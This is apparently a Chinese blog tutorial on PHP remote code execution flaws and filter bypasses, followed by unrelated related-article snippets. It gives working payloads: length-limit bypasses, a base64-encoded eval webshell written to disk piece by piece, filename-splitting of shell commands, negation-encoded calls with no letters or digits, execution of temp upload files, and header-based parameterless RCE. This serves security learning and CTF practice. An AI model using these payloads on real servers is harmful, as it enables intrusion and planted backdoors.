RCE漏洞及绕过
目录
1、RCE概述
(1)命令执行函数
(2)代码执行函数
2、回调后门
3、eval和assert
限制字符长度绕过
(1)反引号或exec
(2)file_put_contents写入文件
(3)回调后门+变长参数
(4)拼接文件名
无字母数字绕过
(1)取反码
(2)临时文件
无参数读文件和RCE
(1)Apache
(2)Nginx
1、RCE概述
RCE漏洞:远程代码执行和远程命令执行
在很多Web应用中,开发人员会使用一些特殊函数,这些函数以一些字符串作为输入,功能是将输入的字符串当作代码或者命令来进行执行。当用户可以控制这些函数的输入时,就产生了RCE漏洞。
(1)命令执行函数
system(), passthru() -->可以直接输出结果
exec(), shell_exec() -->需要echo打印结果
(2)代码执行函数
eval(), assert() -->执行php代码
call_user_func(), call_user_func_array() -->回调函数
2、回调后门
有回调函数作为参数的函数 -->回调后门
call_user_func() , call_user_func_array() , array_filter() 等等
3、eval和assert
eval在php中是动态执行的方法,不能通过$_GET和$_POST来动态传递进行执行
assert是php的函数,可以动态传递进行执行
例:如有回调后门如下
call_user_func('assert',$_REQUEST['pass']);
我们在用蚁剑进行连接的时候,如果这样:
?pass=$_POST[123]
这样连接会失败,要在前面加上eval,

这样才能连接成功
限制字符长度绕过
<?php
$param = $_REQUEST['param'];
if (strlen($param) < 17 && stripos($param, 'eval') === false && stripos($param, 'assert') === false)
{eval($param);
}
(1)反引号或exec
?param=echo%20`$_GET[1]`;&1=whoami?param=exec($_GET[1]);&1=whoami
(2)file_put_contents写入文件
将一句话木马进行base64编码后一个一个写入文件
为什么必须编码?
因为像< 这些特殊符号,不能直接写入
?1=file_put_contents¶m=$_GET[1](N,P,8);
?1=file_put_contents¶m=$_GET[1](N,D,8);
...
/* 'PD9waHAgZXZhbCgkX1BPU1RbOV0pOw' ✲写入文件'N'中 */?param=include$_GET[1];&1=php://filter/read=convert.base64-decode/resource=N
(3)回调后门+变长参数
usort(...$_GET)
usort —> 使用用户自定义的比较函数对数组中的值进行排序
用BurpSuit抓包,修改post和get值

(4)拼接文件名
<?php
$param = $_REQUEST['param'];
if ( strlen($param) < 8 )
{echo shell_exec($param);
}
echo PD9waHAgZXZhbCgkX0dFVFsxXSk7| base64 -d> c.php
因为长度限制,将上面一句命令拆分开,通过常见文件的方式绕过

最后再用ls -t 以创建时间的列出当前文件夹下所有文件,就拼接回去了
注意:每一个文件名后面都要加上\,因为文件名都是以换行符结尾,在ls -t列出文件的时候,\起到转义换行符的作用
无字母数字绕过
<?php
if(isset($_GET['code'])){$code = $_GET['code'];if(strlen($code)>35){die("Long.");}if(preg_match("/[A-Za-z0-9_$]+/",$code)){die("NO.");}eval($code);
}else{highlight_file(__FILE__);
}
(1)取反码
php7中,支持这样执行函数:('phpinfo')();
payload:
(~%8F%97%8F%96%91%99%90)();
将 phpinfo取反 : ~phpinfo -->urlcode编码 :%8F%97%8F%96%91%99%90
payload再次取反,就复原了,成功绕过
(2)临时文件
php上传文件机制:
第一步:将本地的文件上传到服务器的临时目录 /tmp
第二步:将上传的文件从临时目录移动到指定的目录中,再删除临时文件
思路:
(1)上传一个shell文件(虽然上传不成功,但是代码没执行完毕临时文件不会删除),将要执行的代码写入文件
(2)再通过get传参传入命令,执行临时文件
阻碍:
1、 上传的临时文件没有x执行权限, --> . phpasgdfK (点加空格加文件名执行)
2、 不知道临时文件名,为随机生成的
临时文件名特征:随机文件名为: phpxxxxxx ,但最后一个位大多是大写字母,只有少数部分位小写字母和数字
大写字母ASCII范围是: @-[
Linux glob 通配符:? 匹配任意一个字符,* 匹配任意多个字符
payload:
?code=?><?=`.+/???/????????[@-[]`;?>

无参数读文件和RCE
<?php
highlight_file(__FILE__);
if(';' === preg_replace('/[^\W]+\((?R)?\)/', '', $_GET['code']))
{ eval($_GET['code']);
}
?>
上面正则只能匹配函数,不能有参数,但是可以嵌套函数 --> a(b(c()))
(1)Apache
apache有getallheaders()函数,获取所有header
code=eval(next(getallheaders()));user-agent:phpinfo();
用BurpSuit抓包,修改header内容,将要执行的命令写入头部
(2)Nginx
找到flag文件
1、print_r(scandir('.'));
但是不能有 . 这个参数,所以找到输出 . d 的函数
(1)print_r(scandir(current(localeconv()))); --pos是current的别名,也可以(2)chr(46) 是字符 .chr(current(localtime(time())));
2、print_r(scandir('绝对路径'));
print_r(scandir(getcwd()));
读flag文件
show_source(array_rand(array_flip(scandir(getcwd()))));
array_flip()是交换数组的键和值,array_rand()是随机返回一个数组
相关文章:
RCE漏洞及绕过
目录 1、RCE概述 (1)命令执行函数 (2)代码执行函数 2、回调后门 3、eval和assert 限制字符长度绕过 (1)反引号或exec (2)file_put_contents写入文件 (3ÿ…...
非对称加密算法-ECDHE
目录 1. ECDHE算法简介 密钥交换算法的重要性 ECDHE算法的基本原理 2. ECDHE与RSA算法的比较 RSA算法 ECDHE算法 比较 图形结合 2. HTTPS中的密钥交换 RSA算法的局限性 前向安全性的概念 图形结合 3. 离散对数问题 离散对数的定义 离散对数在密码学中的应用 图…...
10分钟学会Docker的安装和使用
前言 在现代软件开发中,Docker作为一种轻量级的容器化技术,已成为开发者必备的工具之一。本文将带您在10分钟内快速掌握Docker的安装和基本使用方法。 1. Docker是什么? Docker是一种开源的容器化平台,它通过将应用程序及其所有…...
江科大/江协科技 STM32学习笔记P20
文章目录 编码器接口测速定时器有关的库函数Encoder.cmain.c 编码器接口测速 编码器接口的初始化,第一步,RCC开启时钟,开启GPIO和定时器的时钟,第二步,配置GPIO,这里把PA6和PA7配置成输入模式,第…...
CSS 实现两边固定宽,中间自适应
0. **Flexbox 实现**: css复制代码.container { display: flex; } .fixed { width: 200px; /* 两边固定宽度 */ } .flexible { flex: 1; /* 中间自适应 */ } html复制代码<div class…...
C#图片批量下载Demo
目录 效果 项目 代码 下载 效果 C#图片批量下载 项目 代码 using Aspose.Cells; using NLog; using System; using System.Collections.Generic; using System.Data; using System.Diagnostics; using System.Drawing; using System.IO; using System.Linq; using System.…...
部署Springboot + Vue 项目到远程服务器Windows10系统的详细配置
远程服务器操作系统为Windows系统,Java程序环境,Maven环境都安装有,Mysql ,Redis等都有的前提下 1. mysql数据库导入,非常简单很好操作,这里省略。。比如用HeidiSql 或者Navicat 工具导入数据库 2. 后端javaSpringb…...
智驭灌区,科技领航—— 高效灌区信息化系统管理平台
在水资源日益珍贵的今天,传统灌区的粗放式管理模式已难以满足现代农业的发展需求。我们自豪地推出——灌区信息化系统管理平台,以科技赋能水利,引领灌溉管理进入智能化、精细化新时代。 【智能决策,精准灌溉】 告别传统灌溉的盲目…...
下载免费设计素材,有这7个网站就够了
7个免费设计素材网站,这些网站提供了大量的免费资源,包括图片、字体、图标、模板等,涵盖了多种风格和主题,能够满足不同设计师和创作者的需求。无论是用于个人项目还是商业用途,这些网站都能给你提供丰富的选择&#x…...
【漏洞复现】某赛通数据泄露防护(DLP)系统 NetSecConfigAjax SQL注入漏洞
0x01 产品简介 某赛通新一代数据泄露防护系统(简称 DLP),以服务企事业单位进行数据资产梳理、数据安全防护为目标。系统采用平台化管理,将终端DLP、网络DLP、邮件DLP、存储扫描DLP、API 接口DLP 进行统一管理,模块化控…...
c++中的仿函数
目录 什么是仿函数? 仿函数的定义与使用 仿函数与普通函数的比较 实际应用场景 总结 当谈论到 C 编程中的灵活性和效率时,仿函数(Functor)是一个重要的概念。它不仅可以提供比普通函数更多的功能,还能够在很多情况…...
springboot整合mybatis-plus和pagehelper插件报错,
在springboot和myabtisplus版本没有冲突的情况下,MybatisPlusAutoConfiguration配置类没有生效,查看该类发现存在生效条件,即: 1.必须存在数据源的Bean对象 2.必须存在SqlSessionFactory和SqlSessionFactoryBean类(这…...
趋动科技荣登「AIGC赋能金融创新引领者TOP20」
2023年11月28日,“极新AIGC行业峰会”在北京召开,峰会以“AI落地”为指引,探究AI实践与产业化。 从制造业到金融服务业,从医疗保健到交通运输,从文化娱乐到消费零售,智能客服、数字人直播、智能巡检机器人&…...
SOPHGO算能科技BM1684盒子占用空间满的问题解决
目录 1 问题由来 2 问题排查与解决 1 问题由来 安装软件的时候发现,软件根本安装不上了,用df -h看到根目录已经满了 rootbm1684:~# df -h Filesystem Size Used Avail Use% Mounted on overlay 5.8G 5.7G 0 100% / devtmpfs …...
Spring Boot实用小技巧 - - 第523篇
《国内最全的Spring Boot系列之一》 《国内最全的Spring Boot系列之二》 《国内最全的Spring Boot系列之三》 《国内最全的Spring Boot系列之四》 《国内最全的Spring Boot系列之五》 《国内最全的Spring Boot系列之六》 《国内最全的Spring Boot系列之七》 Spring的Sma…...
安卓App开发 篇二:Android UI和布局
文章目录 系列文章Jetpack Compose基本语法可组合函数预览布局元素基于槽位(slot-based)的布局横屏处理实现布局设计布局检查器工具Material Design使用字符串等资源列表和动画LazyColumn 和 LazyRowremember 和 mutableStateOf事件mutableStateOfremember局部更新组件(官方…...
k8s基本介绍
Kubernetes, also known as K8s, is an open source system for automating deployment, scaling, and management of containerized applications. Kubernetes,也称为k8,是一个用于自动化部署、扩展和管理容器化应用程序的开源系统。 使用go语言编写ht…...
go http启动应用程序
udpserver udpserver 是go程序需要启动的程序 #include <iostream> #include <unistd.h> #include <string.h> #include <sys/socket.h> #include <netinet/in.h> #include <thread>const int BUFFER_SIZE 1024;int udpSocket; struct …...
Redis:概念、部署、配置、优化
目录 关系型数据库与非关系型数据库 关系型数据库 非关系型数据库 非关系型数据库存在的原因 Redis 概念 优点 Redis部署流程 初步设置 安装 初始化 初始化时指定的参数说明 Redis配置文件 修改监听地址 Redis远程连接 远程连接 测试服务端状态 redis-benchm…...
华为OD-D卷找座位
在一个大型体育场内举办了一场大型活动,由于疫情防控的需要,要求每位观众的必须间隔至少一个空位才允许落座。现在给出一排观众座位分布图,座位中存在已落座的观众,请计算出,在不移动现有观众座位的情况下,…...
AI-调查研究-01-正念冥想有用吗?对健康的影响及科学指南
点一下关注吧!!!非常感谢!!持续更新!!! 🚀 AI篇持续更新中!(长期更新) 目前2025年06月05日更新到: AI炼丹日志-28 - Aud…...
【OSG学习笔记】Day 18: 碰撞检测与物理交互
物理引擎(Physics Engine) 物理引擎 是一种通过计算机模拟物理规律(如力学、碰撞、重力、流体动力学等)的软件工具或库。 它的核心目标是在虚拟环境中逼真地模拟物体的运动和交互,广泛应用于 游戏开发、动画制作、虚…...
Java多线程实现之Callable接口深度解析
Java多线程实现之Callable接口深度解析 一、Callable接口概述1.1 接口定义1.2 与Runnable接口的对比1.3 Future接口与FutureTask类 二、Callable接口的基本使用方法2.1 传统方式实现Callable接口2.2 使用Lambda表达式简化Callable实现2.3 使用FutureTask类执行Callable任务 三、…...
视频字幕质量评估的大规模细粒度基准
大家读完觉得有帮助记得关注和点赞!!! 摘要 视频字幕在文本到视频生成任务中起着至关重要的作用,因为它们的质量直接影响所生成视频的语义连贯性和视觉保真度。尽管大型视觉-语言模型(VLMs)在字幕生成方面…...
CocosCreator 之 JavaScript/TypeScript和Java的相互交互
引擎版本: 3.8.1 语言: JavaScript/TypeScript、C、Java 环境:Window 参考:Java原生反射机制 您好,我是鹤九日! 回顾 在上篇文章中:CocosCreator Android项目接入UnityAds 广告SDK。 我们简单讲…...
【服务器压力测试】本地PC电脑作为服务器运行时出现卡顿和资源紧张(Windows/Linux)
要让本地PC电脑作为服务器运行时出现卡顿和资源紧张的情况,可以通过以下几种方式模拟或触发: 1. 增加CPU负载 运行大量计算密集型任务,例如: 使用多线程循环执行复杂计算(如数学运算、加密解密等)。运行图…...
Matlab | matlab常用命令总结
常用命令 一、 基础操作与环境二、 矩阵与数组操作(核心)三、 绘图与可视化四、 编程与控制流五、 符号计算 (Symbolic Math Toolbox)六、 文件与数据 I/O七、 常用函数类别重要提示这是一份 MATLAB 常用命令和功能的总结,涵盖了基础操作、矩阵运算、绘图、编程和文件处理等…...
leetcodeSQL解题:3564. 季节性销售分析
leetcodeSQL解题:3564. 季节性销售分析 题目: 表:sales ---------------------- | Column Name | Type | ---------------------- | sale_id | int | | product_id | int | | sale_date | date | | quantity | int | | price | decimal | -…...
【学习笔记】深入理解Java虚拟机学习笔记——第4章 虚拟机性能监控,故障处理工具
第2章 虚拟机性能监控,故障处理工具 4.1 概述 略 4.2 基础故障处理工具 4.2.1 jps:虚拟机进程状况工具 命令:jps [options] [hostid] 功能:本地虚拟机进程显示进程ID(与ps相同),可同时显示主类&#x…...
AI书签管理工具开发全记录(十九):嵌入资源处理
1.前言 📝 在上一篇文章中,我们完成了书签的导入导出功能。本篇文章我们研究如何处理嵌入资源,方便后续将资源打包到一个可执行文件中。 2.embed介绍 🎯 Go 1.16 引入了革命性的 embed 包,彻底改变了静态资源管理的…...
